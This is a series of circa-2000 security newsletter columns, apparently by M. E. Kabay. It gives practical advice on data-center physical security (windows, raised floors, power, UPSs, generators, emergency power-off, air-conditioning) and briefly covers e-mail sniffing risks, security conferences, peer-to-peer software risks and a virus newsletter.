Unfortunately, many executives who worked with computers in the 1960s and 1970s or who base their standards on Hollywood movies still think that "vision panels" make their data center look more impressive. If you are faced with this retrograde attitude, try a graduated approach to getting rid of these vulnerable spots in your defenses. Offer the decision makers a choice between, say, concrete, brick or bullet-proof safety glass. Alternatively, you can strap the executives down and force them to watch endless loops of Bruce Willis surviving the destruction of the Glass House in the movie "Die Hard."

If you cannot get approval to remove the windows in your computer room, install vertical blinds and keep them closed all the time except when there are important official visitors pressing their noses to the glass. Install security glazing (shatterproof metal-reinforced glass), and perhaps gratings securely attached to the walls. Install breakage sensors and connect them to the main building alarm systems. Aim motion sensors and closed-circuit television cameras at the windows. Move equipment whose presence should be secret away from the windows. Install a few dummy security cameras and motion sensors just to keep spies and intruders guessing.

There are a couple of other reasons why high-security sites do not permit windows in their NOCs and DCs. An obvious point is that external windows offer opportunities for snipers to attack individuals. More subtly, windows vibrate as people talk; using laser interferometers, it is possible to measure those vibrations and reconstitute the sound waves that caused the vibrations. Thus an exterior window provides an easy way for industrial or other spies to eavesdrop on conversations from an observation post far away in another building. However, don't try to persuade your top officials to give up their corner offices -- some advice is just too unpleasant to bother presenting to upper management when the risks are low. I think that such advice might get you sent to the staff psychiatrist in most organizations.

What might work is to suggest that a window-rich office is perhaps not the best place to discuss top-secret strategic plans with catastrophic consequences of unexpected disclosure. People talking about make-or-break information would do well to do so in sealed rooms with no windows. The key is to be reasonable and not to apply security rules unthinkingly.

Physical Security:

Ceilings and Floors

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is about ceilings and floors.

* * *

Practically all offices these days have drop ceilings; i.e., acoustic tiles are suspended from the actual ceiling. This design provides for a place where electrical and communications wiring can be laid out of sight. This crawl space must not extend without interruption into the data center. Within the data center, the drop ceiling should include smoke, heat and water sensors. This is especially important when there are other floors above the NOC or DC and there is a possibility of water leakage.

Most information processing centers have raised floors because of all the cabling and power cords required for processing equipment and peripherals. The floor tiles are laid on a framework about 18 inches (~50 cm) off the actual floor. These tiles must be fire-resistant, easy to keep clean, and strong enough for the loads that will be placed on them. For access to the underfloor area, the tiles are raised using suction cups. Perforated tiles are part of the air-conditioning and fire-suppression systems and are raised using hooks.

The underfloor area must be kept scrupulously clean. Gas-based fire-suppression systems discharge high-pressure gas through the underfloor. If that area is dusty, the entire computer room will be filled with a cloud of dirt when the gas discharges.

In some cases, operators have used the underfloor as a storage area, sometimes for things that don't belong in the computer room at all (e.g., in one case I personally noted, soda pop). Such foreign objects interfere with the air-conditioning system and cause access problems in emergencies.

Physical Security:

Placing Equipment

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is about placing network and computer center equipment.

In recent years, computer equipment has become increasingly tolerant of environmental conditions. Midrange and many mainframe computers are now air-cooled, survive temperatures from cold to hot, and run on regular 110V current. Nevertheless, some people abuse their systems. Some years ago, while I was hanging my coat in a hall closet one day on a visit to a client, I noticed blinking green and red lights down among the boots and galoshes. I moved some heavy winter coats out of the way and discovered a network server. Startled, I asked my host what it was doing in an unprotected hall closet. It seems that they ran out of room in the computer center and the server was installed in the hallway. AIt doesn't need special conditions,@ he chirped. No, but its on/off switch was open to anyone who wanted to try bringing the network down, and I doubt that the engineers had planned on seeing their design spattered with mud, water and salt.

In many smaller organizations, I have noted with dismay that electrical power cord extensions are looped helter-skelter around the bottoms of desks and partitions. Aside from the problem of tripping over these cords and crashing wildly about one's office, these folks run the risk of unplugging their own computer, causing an occurrence of the notorious power-cord-out-of-the-socket "virus" that occasionally amuses technical support staff.

A related problem with poor wiring practices is that many users and even some NOC managers don't label their cables. The consequences are most serious when people have to move their equipment; either they spend precious time under pressure trying to label their gear or they just unplug everything and hope they get everything right when they reassemble their systems.

Sometimes people plug their computer systems into a power bar in their neighbor's cubicle without informing anyone. When the neighbor innocently cuts the power on their own system by hitting the main switch on the power bar, the electricity-borrower has a power failure too. Another problem occurs when people run out of sockets in their cubicles and decide to lay an extension cord out into a hallway to tap into a handy socket there -- and naturally, without bothering to label the wires. These arrangements inevitably result in what ought to be a predictable loss of power when a building cleaner innocently unplugs the power cable to power their floor polisher.

Some common-sense recommendations:

* Don't subject your valuable, sensitive and critical equipment to inappropriate environmental stresses.

* Organize your equipment cables so that they don't tangle each other or passers-by.

* Label your cables clearly using color coded tape or printed labels.

* If you must use electrical outlets outside your immediate control, lock the plugs into place if possible or at least label them clearly so that others don't inadvertently cut power to your systems.

* * *

Physical Security: Electricity (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is about electrical power supply.

According to research by field service organizations as far back as the 1980s, almost half of all service calls on PCs are related to bad electrical power. Power fluctuations such as brownouts (transient low voltage), spikes (transient over-voltage) and line noise (waveform deformations) can physically damage sensitive electronic equipment. Even surges on phone lines can damage modems and PC boards. At a very minimum, nobody should be running a computer without a surge suppressor in the power circuit; the cost is negligible compared to the assurance that a fuse wire will melt or a breaker will trip instead of having your precious equipment do the melting and breaking.

Power outages cause down time, but the more serious threat is that power interruptions during a critical phase of posting data to disk will cause data corruption. If a disk drive goes down while data are being written into a file, one or more records can be damaged. Parity checks or cyclic redundancy codes on the disks can usually pick up and sometimes correct errors. However, if the computer is updating a directory structure when the power disappears, there can be serious trouble. Directory structures include database or file indexes and system directories such as the DOS File Allocation Table (FAT). Damaging even a small part of these structures may make large amounts of data inaccessible. Recovery of data may require painstaking retrieval of section (cluster, sector) after section of individual files.

Luckily, in recent years more operations are using fail-safe disks (e.g., RAID, Redundant Arrays of Inexpensive Disks) with automatic mirroring and recovery. The occurrence of irrecoverable disk errors is low in such systems..

Midrange and mainframe computers have long had their own internal electrical-power conditioners and uninterruptable power supplies (UPSs). Less powerful, less expensive systems did not. However, users have placed critical applications on servers, work stations and microcomputers; alternative power supplies and line conditioners are now required components for most production systems B and if you depend on your data and your PC to accomplish whatever you consider critically important, then your system is a production system.

UPSs run the power from the mains into a transformer which keeps batteries charged; output power comes from direct current (DC) rectifiers which convert the battery power into alternating current (AC). UPSs provide excellent-quality power and good insulation from power-line fluctuations.

Writing in the trade publication *Computer Reseller News* for June 19,2000 (p. 105), Charlotte Dunlap reported that the American Power Conversion Corporation < http://www.apc.com/ > came first in a recent industry survey run by the magazine. APC won the highest partner satisfaction rating for UPS suppliers. Other high-ranking UPS manufacturers were Best Power < http://www.bestpower.com/ > and Tripp-Lite < http://www.crn.com/ >, who tied for second place with slightly lower rankings.

[AtomicTangerine and I have no business interest in these companies, nor is my mentioning them to be construed as an endorsement by either my employer or myself.]

Next time, some practical considerations about UPSs.

* * *

Physical Security: Electricity (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a continuation of a sub-series on electrical power and related topics.

For PCs, work stations and servers, UPS units in the 0.4-1.2 KVA (kilovolt-ampere) range are sufficient; they range in cost from about $75 for a little device about the size of a large surge-suppressor that gives you just enough time to shut a PC down gracefully to over $1,000 for a sizable unit that can power your entire office. Keep in mind that you have to plan for peak loads, not just the average power drain. Big laser printers, for example, can run at 700 watts while warming up yet function on standby at a mere 100 watts. Older, physically larger disk drives take much more power while spinning up than while running normally. However, modern tiny, ultra-dense drives (e.g., 10 Gb on a 1.5" spindle) require so little power anyway that they're no longer an issue.

In my office, I run a 0.9 KVA UPS connected to a power conditioner. All my essential gear is connected to the UPS: processor tower, monitor, fax, phone, and even one lamp. I don't put the printers or the stereo system on the UPS. Many people will deliberately exclude their printers from the calculations for their proposed UPS. They can live without the printer when it loses power. At worst, they may have a single damaged page to reprint.

The less load you put on the UPS, the longer it will last. If you're lucky you will not only be able to avoid catastrophic errors but even keep working until the power comes back.

Next time, more about loading and testing your UPS.

* * *

Physical Security: Electricity (3)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a continuation of a sub-series on electrical power and related topics.

The size of the batteries in your UPS and the drain by your systems determine how long the UPS can keep your system going. At a minimum, you need time for a graceful shutdown; 5 minutes is ample to allow you and your users to exit from application systems and shut down all peripherals and processors. If there is a reason to continue operating your system during a power failure (e.g., to protect the security computer that controls your physical access control systems), you may have to order extra batteries (for hours of operation) or a generator (for continuous operation as long as the fuel lasts).

Not all UPSs allow for addition of extra batteries, so examine the specifications carefully if you are thinking of providing extended run-times. Some systems are made to be completely customizable, with rack-mounted batteries that you can order and add at any time without fuss.

Just in case anyone reading this has the bright idea of hooking up one UPS to another, don't. The second law of thermodynamics ensures that all you will do is waste the battery power of the first unit as you try to charge the second one. You *can* run two or more UPSs in parallel B as when you attach different equipment to different UPSs.

It's a good idea to do a dry run with your new UPS: you really want to have a clear idea of just how long you are going to have once the external power fails. I have timed how long I can run without external power: almost exactly 30 minutes for my setup. At that point, the tolerable repeating beep from the UPS turns into an annoying whine; I save my work to disk, exit from my application, fire up the file transfer software and get the current working documents over onto my portable computer so I can keep working once all the power is down. Then I immediately shut down the main system.

Next time, some comments on emergency electrical generators.

* * *

Physical Security: Electricity (4)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a continuation of a sub-series on electrical power and related topics.

If you use only a portable computer, you already have a UPS: your batteries. With three batteries for my portable, I can count on around seven hours of continuous operation. In my office, though, I don't need to worry about that limit: I also have a 7 KVA electrical generator that supplies my house and office. Now, you have to understand that this is not a general recommendation for everybody's home office; I live out in farmland north of Montpelier, Vermont, and we can have power outages lasting days when the ice breaks the power lines. Worse still, we have a 130-gallon tropical fish tank that cannot fall below 75 F without starting to kill our fish. The $1500 generator and the $1,000 wiring job to put in a transfer switch just made sense for us. More to the point for this article, I definitely can run the portable computer's power transformer from the generator power without problem.

For larger, more critical applications, you should evaluate large-scale UPSs which can be hooked into your office or building electrical system. Systems for loads ranging into the hundreds of KVA can cost from $2,000 up into the $100,000 range. Some units include gasoline or diesel generators and heavy-duty flywheels or large isolation transformers to smooth out the rough waveform of the generators' output.

Never run electronic equipment directly from generators without checking the power quality carefully. If you have the gear in-house, you can check power quality directly with the appropriate power-line monitors. Otherwise, see if your friendly neighborhood computer supplier has a power-line monitor they use for site qualification studies. When I worked for Hewlett Packard in the early 1980s, we would routinely install a monitor that printed out reports on the fluctuations in power to determine if we would allow our precious equipment to be installed without an external power conditioner. The reason: long experience had taught HP that bad power equals increased repair calls B and with a fixed-cost service contract, you can understand how seriously we took this kind of environmental report card.

Ordinary household generators of the kind sold in hardware stores for your country cabin can destroy your computer equipment within seconds. In my case, I discovered that the household generator I use has such a jagged (sawtooth) waveform that it cannot be used to supply my UPS even through the power conditioner. I just shut down my system once the batteries in the UPS approach the end of their storage capacity.

The manufacturer explained that they have had trouble hooking domestic generators up to their equipment unless the generator is running at no more than one-third its rated capacity. In other

words, in order to use their equipment, we are expected to buy a generator three times larger than we would normally expect to need. I was not pleased, but I didn't replace my generator, either.

Keep these problems in mind if you are shopping for a generator and avoid the hassles of trying to hook up incompatible devices.

Next time, some advice about protecting the electrical equipment itself.

* * *

Physical Security: Electricity (5)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a continuation of a sub-series on electrical power and related topics.

Common sense (as well as workplace safety regulations) dictates that you install adequate emergency lighting for all work areas and escape routes. After the bombs exploded in the World Trade Center in New York in February 1993, thousands of people had to feel their way through smoke-filled, pitch-black stairwells. It seems the emergency lighting system was controlled by computers that had been blown up by the explosion in the parking garage. Independent lights with their own batteries would have saved time and reduced injury in that disaster. Portable flashlights supplied to emergency marshals would have helped, too.

Now that you've spent all this money on electrical power equipment, how about protecting it all from tampering? Keep all electrical junction boxes, breaker panels and main switches under lock and key. In one hospital information security evaluation a decade ago, I recall bringing the head of the intensive care unit into the hallway and pointing at a panel on the wall. "What's that?" I asked. She shrugged and said, "I dunno; an electrical panel, I guess." "Open it," I said. She did (it was unlocked). When she saw the labels on the breakers her pupils dilated and she looked horrified: those breakers controlled the precious equipment in her ICU B respirators, controlled-injection pumps for intravenous drips, heart monitors, external heart pacematers B the works . If someone had tripped those unguarded, unprotected breakers, some of her patients would have died instantly. Moral: if you care about your electrical power, you have to protect junction panels just as strongly as any other component in the circuit.

If you have to install additional power cables, ensure that they're pulled through protective ducts or manifolds, not left lying about in the suspended ceilings where anyone can get at them. And document all the switches and breakers correctly and readably so that people can make intelligent decisions in an emergency.

Label your UPS and power conditioners plainly with warning signs to prevent unauthorized equipment from being added to the circuits. In the May 1993 session of one of my Information Systems Security courses, a participant reported that an operator plugged a vacuum cleaner into the nearest electrical outlet, overloaded the UPS, and took down the LAN for a few minutes. That nearest outlet happened to be in the server's UPS, but the staff member had no idea that there was anything special about that outlet. You can't blame people for errors when you've failed to provide both training and proper labeling.

Next time, some miscellaneous notes on emergencies involving electricity.

Physical Security: Electricity (6)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a continuation of a sub-series on electrical power and related topics.

Be sure that there are at least two Apanic buttons@ (more properly known as the Emergency Power Off or EPO) in your computer room: one at each end and both near exits. The EPO cuts off all power to everything in the computer room except the lights. These switches should be protected against accidental use; for example, you can choose switches covered with a spring-loaded flip-top cover or models with the button at the bottom of a one-inch finger-sized tube. Install a phone within reach of each EPO for rapid communications in an emergency. Put a long extension cord on the handset of that phone or provide a cordless phone for use only in an emergency (cordless phones are not secure and should not normally be used for business communications). For an extended discussion of the EPO, see Technical Note #T22, "Understanding Emergency Power Off (EPO)", at the APC Web site < http://159.215.19.5/kbasewb2.nsf/Tnotes+External/6982D6F45A1473718525672300568CB0?OpenDocument >.

It is especially important that the EPO shut down the power to your air conditioning equipment in case of a fire: ventilating an area threatened by fires is a really bad idea.

In one apartment building where I lived many years ago, a visitor had trouble opening the electrically-operated door and therefore pulled the nearest handy lever B the fire alarm. To prevent this sort of error, label panic switches clearly; e.g., AMASTER POWER CUTOFF.@ In general, my experience running a large data center convinced me that every single switch, electrical receptacle, and data communications plug ought to be labeled understandably and clearly. I don't think you can easily overdo labeling in an operations center.

Keep fuses handy in all the right sizes for all your electrical gear, including the power supplies. Make sure that your staff knows exactly where those fuses are kept. Run drills to make sure that their response to an electrical emergency is exactly what you have decided makes the most sense.

Every time you order modifications to the electrical system or find out that your building is having such modifications, be sure to check that the grounding is correct. Especially when your midrange or mainframe systems use three-phase power, it's crucial that the correct wires carry the ground. While you're at it, verify that your building is properly grounded in case of lightning strikes. This precaution is especially important throughout the great plains of North America.

Be sure that your facilities crew are absolutely clear on which circuits may NOT be interrupted for routine work on the power system. Losing power because an electrician tripped a breaker is just

as much a problem as any other kind of power loss. And it's worse if some untrained, unaware person shuts off power from your standby power systems B and the RISKS FORUM DIGEST < http://catless.ncl.ac.uk/Risks/ > is full of reports of that kind of incident.

Next time, the last in this sub-series on electricity; we'll look at some odds and ends such whether to shut the power off your computer at all and how to stop an accidental electrocution.

Physical Security: Electricity (7)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a the last in a sub-series on electrical power and related topics.

I'm sure some of you recall my cryptic comment last time about stopping an accidental electrocution. No, this isn't a reference to *The Green Mile* or a political polemic about capital punishment. It's about what you would do in case one of your colleagues touches a live 120V wire and their hand clenches rigidly onto the power source?

One hopes that there would be an easy way to cut the power: that's one of the purposes of the panic button we discussed in the last contribution to this sub-series.

But if someone were in the process of being electrocuted in your computer room and for some reason you didn't have a panic button, what would you use to move them off the live wires? You're supposed to use a non-conductor such as wood or plastic. Some data centers have a wooden cane for this purpose hung on the wall along with fire extinguishers and other emergency equipment. Don=t forget to train your staff, though, or the cane will simply sit on the wall while several people electrocute each other in turn. And issue a firm injunction against all Charlie Chaplin imitations during working hours.

If for some reason you want to shut off your computer equipment automatically or to shutdown and start it up remotely, you can install inexpensive switches to do both. There are switches with serial ports that allow a computer to send a signal which will power down all systems on the switch. Thus your system could shut itself off at the end of its nighttime processing.

Contrariwise, there are switches that sit on the phone line; when they sense a modem or FAX signal, they can turn on the power to whatever equipment you connect to them. For those people who insist on powering off their equipment overnight, some switches can even be programmed with a timer so that your system can be up and running in the morning when you arrive at work.

However, it is my understanding that shutting off the power to computer equipment is not recommended unless you intend to leave it off for an unusual length of time. The way it was explained to me by an electrical engineer is that the repeated thermal contractions and expansions caused by powering off computer systems actually causes more harm than simply leaving everything on standby. One of the consequences of the shrink/expand cycles seems to be that improperly-installed chips with cold-solder joints can actually work themselves loose enough to start causing intermittent problems. This advice was bolstered by a study (to which I alluded in an earlier article in this series) in a large firm with several thousand PCs that were divided into always-on and shut-off-at-night groups. The study supposedly showed that powering down at

night and powering up in the morning was correlated with increased hardware problems.

Unfortunately, I have lost the reference to this study and, despite a serious effort to locate information in my databases and on the Web, am unable to find documentation that supports these long-standing beliefs of mine. Do any readers out there have some published reference material bearing on the advisability of powering off versus staying on? If so, please write to me and I'll follow up with another column reporting your findings.

Physical Security:
Air-conditioning (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a the first of two about air-conditioning.

Concentrations of computer system equipment (host processors, LAN servers, disk drives, system printers, tape backups, multiplexors, and so on) can use so much energy that regular office air-conditioning (A/C) fails to dissipate the heat. Ideally, temperatures in your computer center should be 66-73 F (19-23 C). Midrange and mainframe systems still produce so much heat that A/C failure can rapidly lead to high temperatures.

Each component of your computer system usually has its own temperature sensor that can cut off power at the upper end of the temperature range. In addition, computer rooms have their own global thermostats and cutoff switches.

In the data center where I worked in the mid-1980s, an A/C unit failed one day. A new operator noticed the rising temperature but didn't realize the cause. He looked about for the room thermostat and noticed a temperature dial in the ceiling. It was set at 90 F (32 C). He turned it down to 70 F (21 C) and immediately lost power all over the computer room. He had changed the overtemp power cutoff.

That day, we labeled every single dial and switch in the computer room.

Relative humidity should be maintained from about 45 to 55% to prevent static electricity buildup (if too dry) and condensation or curling paper (if too humid).

Air pressure in the computer center should be slightly higher than in surrounding office areas so that air tends to flow out of the equipment area when doors open (especially in an emergency, positive pressure helps keep smoke and dust away from the electronics).

The computer room A/C should be separate from that for the rest of the building. You need to be able to control ambient conditions yourself under normal circumstances.

Physical Security:
Air-conditioning (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is a the second of two about air-conditioning (A/C).

Protect the external air intakes to reduce the risk of a gas attack or tampering with your A/C. Make sure that the ductwork is non-combustible and that it does not provide a crawlspace for unauthorized access to your computer room. Sometimes it seems that every movie involving penetration of a secured area includes an obligatory scene in which heros or villains crawl undetected through the A/C ducts. In every case, access to the ducts is relatively easy and is accomplished by removing a flimsy grate without using tools.

Link your A/C units to the fire-suppression control systems. The panic button that cuts power to your computer equipment should include the A/C equipment. In case of a fire, the last thing you need is the A/C continuing to pump fresh air into an enclosed area at risk.

The perforated tiles in your raised floor are part of the A/C system and fire-suppression systems. A/C engineers lay these tiles in patterns that control air flow within the computer room. These tiles must not be displaced at random. In some data centers, operators move the tiles about without considering the effects on air flow; in one case reported by a student in my Information Systems Security course, operators decided they didn't like the tiles, so they moved them all over to the far corner of the computer room. This spontaneous redesign of the A/C system produced Arctic conditions in one area and tropical temperatures in the other. The operators were on their way to generating a model of the global atmospheric wind patterns.

Although I've mentioned this in a previous column, I urge you to make sure that the floor under the raised tiles is kept clean and free of extraneous materials. The area next to an A/C outlet is often very cool; however, for example, is not an appropriate cooler for soft-drinks and beer <g>.

Sniffing E-mail

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Today's column has nothing to do with psychoactive substances. A reader wrote, "Can you point me toward any research/papers/analysis or just observations of the relative vulnerability of or unauthorized access to e-mail content vs. general network TCP/IP packet content? Although e-mail is certainly a carrier of some ugly stuff, is it any more susceptible to having its confidentiality or integrity compromised than other data traveling down a wire, or hanging just off it in a server? Or less?"

It is a commonplace that if you want an e-mail message to be private you should encrypt it so only the desired recipient(s) can read it. The same rule applies to Internet traffic in general and underlies the reason for installing virtual private networks (VPNs) that encrypt traffic traveling along the Internet.

First, let's look at the points of vulnerability for any traffic traveling through the Internet. The highest likelihood of interception is at both ends of the virtual circuit: where the message originates and where it terminates. Physical access to the workstations and local e-mail servers provides the greatest threat to e-mail confidentiality, especially since few users bother to lock (physically or logically) their workstations at the office or at home. Next in threat potential is Web-based access to server-resident information. Because many servers still do not have data encryption enabled, access to the cleartext data on their disks is much easier than trapping the flow of data once transactions or messages have been launched. Many credit-card and phone-card thefts that have made national news over the years have been due to access to such stored data. In 1996, for example, several employees of the U.S. Social Security Administration were shown to have stolen personal information on 11,000 victims and sold them to a ring of credit-card fraudsters. In 1997, Elizabeth John, a manager at Harrods in London, admitted having taken 1,288 receipts and confidential records from her employers; her brother and others stole 205,000 pounds sterling using the credit card info. That same year, Carlos Felipe Salgado, Jr confessed to stealing 100,000 credit-card numbers, some of them by packet-sniffing at a San Diego Internet Service Provider (ISP), others by attacking Web sites with bad security. In 1999, Joe Harris, a computer technician at the Seattle-area "Blarg! Online" ISP, discovered to his horror that improperly-installed shopping-cart software used widely on the Net to simply shopping could allow anyone to see confidential data such as credit-card numbers because the data were improperly stored in ASCII files without encryption.

If the e-mail stays within an enterprise local area network (LAN) or wide-area network (WAN), another risk becomes unauthorized sniffers (network protocol or traffic analyzers) or authorized sniffers that are being misused. A serious problem is that sniffers do not generally broadcast any packets to indicate their presence or activity; they just sample or filter the passing traffic in

promiscuous mode and report or log their findings. A famous example of such abuse occurred in October 1994, when a ring of criminal hackers operating in the United States, England and Spain stole the telephone calling card numbers of 140,000 subscribers of AT&T Corp, GTE Corp, Bell Atlantic and MCI Communications Corp. These thefts are estimated to have resulted in U$140 million of fraudulent long distance calls. In a significant detail, a switch engineer working for MCI inserted Trojan horse software on internal networks to record calling-card and ordinary credit-card numbers passing through MCI's telephone switching equipment. In today's environment, I hope that everyone has turned on automatic packet encryption on all LANs and WANs.

So what about all the fuss over Secure Sockets Layer (SSL) and VPNs? Why are we so concerned about sending packets of confidential data over the Internet? I think that the consensus among security specialists is that the likelihood of capturing such data while they are speeding along the public switched network (PSN) and through high-speed Internet trunk lines is very low indeed. What is marginally less unlikely is capture while the packets are being routed through the store-and-forward architecture of the Internet. Any time packets are resident in a server, anyone with root access can capture them and read unencrypted samples. Whether anyone is actually doing this is a difficult question to answer. After all, the nature of the Internet dictates that packets from a single data stream (an e-mail message, for example) may be scattered randomly through different paths through the Net depending on instantaneous measures of load on different outbound paths from a router. What are the chances on a heavily-traveled "lane" of the Internet that all or even several packets from a single message will end up going through a particular node on the Net?

As far as I can see, (1) the chances of illicit interception while data are in transit are very low – perhaps much lower than the likelihood of having someone copy your credit-card data by hand in a roadside restaurant. (2) E-mail data are no more likely to be captured in this way than any other data.

If anyone out there has research about these questions, I'd sure like to hear from you. I'll be happy to write up your findings and provide references to published information.

Two Upcoming INFOWAR Conferences

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

I've been interested in information warfare issues since the early 1990s; I convened the first and second International Conferences on Information Warfare in 1993 and 1995. There were 60 people from around the world in 1993 and 120 in 1995; now the regular INFOWAR conferences sponsored by MIS Training regularly draw many hundreds of military, civilian and academic personnel. See < http://www.misti.com/conference_show.asp?id=IW00 > for full details on the upcoming InfowarCon 2000 in Washington DC on September 12 and 13th.

Having participated in many of these I can tell you that the conference organizers and the MISTI staff do a superb job in planning and delivering excellent content at these events. One of the most imaginative sessions I recall was a demonstration some years ago of what Winn Schwartau calls a HERF (high-energy radio-frequency) gun. The HERF device did indeed interfere with PC – but it was the size of a small weather balloon! Hilarious.

A couple of days ago I got a fax message about an infrastructure protection conference from an organization with a fascinating name: The Association of Old Crows. According to their Web site at < http://www.crows.org >, it seems that during World War II, the name "Old Crows" emerged from the first use of electronic warfare to disrupt enemy communications and radars. Allied equipment and operators were known by the code name "Raven". Common jargon changed the name to "Crows" and those engaged in the profession became known as Old Crows. The general information sheet says that there are over 17,000 members in 71 chapters world wide.

Quoting from a document they sent me, the AOC, in cooperation with the Department of Commerce Critical Infrastructure Assurance Office, will be sponsoring a conference on Infrastructure Assurance and Emerging Technologies on September 6-7, 2000 at the Ronald Reagan Building and International Trade Center, Washington, DC. The conference chairman will be General Robert T. "Tom" Marsh, USAF (Ret.). The keynote speaker will be Dr. John Hamre, former Deputy Secretary of Defense. The theme of the conference will be "What Does It Take to Provide Assurance, Now and In the Future?"

The conference will be unclassified and provide a forum to address the technical, policy, legal and social requirements of organizations and governments to provide and maintain assurance. The format for the conference will be four panels of recognized experts in the field of Information Assurance.

Panel I will address A Case for Action focusing on the pressing need to protect our critical infrastructures and focus on the current state of public policy. The panel will be chaired by Mr. John Tritak, Director, CIAO. Panel participants are: James Adams, CEO, iDefense; Glenn

Schlarmann, OMB, Office of Information & Regulatory Affairs; and Michael Vatis, Director, NIPC.

Panel II will address Available Means and it will be chaired by Steve Katz, Chief Information Security Office, Citicorp. Panel members include: Stewart Baker, Partner, Steptoe & Johnson; Rhonda MacLean, Bank of America; and William Marlow, Executive VP, Global Integrity.

Panel III will focus on Needed Capabilities addressing shortcomings to identify malicious activity in cyberspace, implement good security practices and identify the next steps required to stay ahead of the threat in terms of: does the technology exist; is it economical to implement; and do the political realities permit this to happen. The panel will be chaired by Ray Kammer, Director, NIST. Panel participants include: Steve Cross, Director, Software Engineering Institute, CMU; Michael Jacobs, DDI, NSA; and Alan Paller, Director, SANS.

The final panel will focus on The Future considering projected advances in technology. The chair will be Phil Lacombe, Senior VP, Infrastructure Protection, The Veridian Corporation. Members are Maj Gen John Casciano, USAF (Ret.), VP for Strategy, Litton-TASC; Lt Gen Jay Kelley, USAF (Ret.) Lockheed Martin; Randall Larsen, Director Homeland Defense Strategies, ANSER Corporation; and Dan Ryan, Adjunct Professor, GWU.

In addition to these outstanding panels, Dr. James R. Schlesinger, Senior Advisor, Lehman Brothers & Chairman, Mitre Corporation will be the special luncheon speaker on September 6.

This is a not-to-be missed forum of distinguished experts from a cross-section of both government and commercial enterprises. Look for further information on the association Web site (http://www.crows.org) or call the convention department at 703-549-1600.

Peer-to-Peer Software and Security

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

I recently reviewed an excellent White Paper and would like to direct your attention to the problems and solutions it presents.

"Security Concerns for Peer-to-Peer Software" by Mike Petruzzi <mpetruzzi@ktsi.com>, Rob Sherwood, John Dunnivan, Rob Chavez and Pat Holley of Key Technologies and Security, Inc. reviews the security implications of programs such as Napster, Gnutella and their possible variants.

The following extracts (slightly reordered) from their well-written paper are reprinted with the kind permission of my old friend and colleague, Fred Tompkins, Senior Vice President of KTSI.

Peer-to-peer (hereafter referred to as P2P) communication software allows individual computers to share and swap various types of files. Recently, P2P software has been much in the news due to current and potential lawsuits. Napster, the company that makes software for exchanging MP3s (encoded music files), is being sued for copyright infringement; the recently re-released Gnutella has the potential for exchanging all types of files and may therefore be embroiled in litigation even more quickly than Napster was.

P2P software takes the idea that the Internet is for sharing to new levels. P2P has been described as "an anarchistic threat to the current Internet" (David Streitfeld, The Washington Post, July 18, 2000) and Marc Andreesen has called P2P software the most important thing on the Internet in the last six years (when Netscape was first released) and a "benevolent virus." Ian Clarke, the creator of FreeNet, says, "People should be free to distribute information without restrictions of any form."

Even protected code is not safe. Programs like AOL Instant Messenger, or any other P2P software, can be reverse engineered and released as Open Source software. These programs can then be released for any operating system platform. This also gives malicious hackers the ability to change the software code so that it can be used for other purposes. This requires a great deal of programming knowledge and skill, but can still be done.

The first obvious concern is the liability of copyright infringement. Even though all of the companies that produce and release P2P software issue warnings regarding the illegalities of downloading copyrighted materials, simply releasing the software makes those illegal acts possible. Some P2P software contains security warnings during the installation of the software and enables default settings to protect the naïve consumer and their computer. But armed with some simple knowledge of the Internet and its protocols, even a beginner criminal hacker can

cause many security risks to users of this class of software.

More important than any copyright concerns are the potential security concerns for corporations and consumers. For corporations, P2P software threatens:

- bandwidth consumption
- liabilities and acceptable use violations
- undermining of security policies
- Trojan Horse and virus distribution
- disclosure of IP and MAC addresses
- telecommuters.

For individual consumers, P2P software represents:

- disclosure of IP and MAC addresses
- disclosure of connection speed
- file sharing
- Trojan horse and virus distribution.

I hope that readers will go to the KTSI Web site and read the entire article for themselves. The URL is < http://www.ktsi.net/whsecurityp2p.html >.

Trend Micro Virus Report

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

One of the functions of this newsletter is to introduce readers to a variety of resources for better network and system security. One of the most concise and information-packed virus newsletters is the free "Trend Micro Virus Report." The writing is clear and there is virtually no marketing fluff. Job well done!

Here is a recent issue to give you a sense of what the editors provide.

1. W97M_PIECE.A (New Destructive Macro Virus reported In-the-Wild)

